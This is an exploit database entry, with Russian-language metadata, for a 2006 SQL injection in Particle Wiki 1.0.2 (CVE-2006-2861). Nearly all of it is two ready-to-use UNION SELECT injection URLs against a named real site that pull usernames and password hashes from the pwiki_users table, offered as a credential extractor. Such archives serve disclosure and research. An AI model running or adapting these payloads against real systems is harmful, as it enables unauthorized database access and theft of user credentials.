Exploit Particle Wiki 1.0.2 - SQL Injection

[Exploiter]

EDB-ID

1878

Проверка EDB

1. Пройдено

Автор

FARHADKEY

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-2861

Дата публикации

2006-06-05

# Particle wiki <= 1.0.2 Remote SQL_Injection - Username/Password(hash) Extractor
# Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html
# Exploited by FarhadKey from http://www.kapda.ir

Username :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,username%20from%20pwiki_users%20/*
Password :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,password%20from%20pwiki_users%20/*

# milw0rm.com [2006-06-05]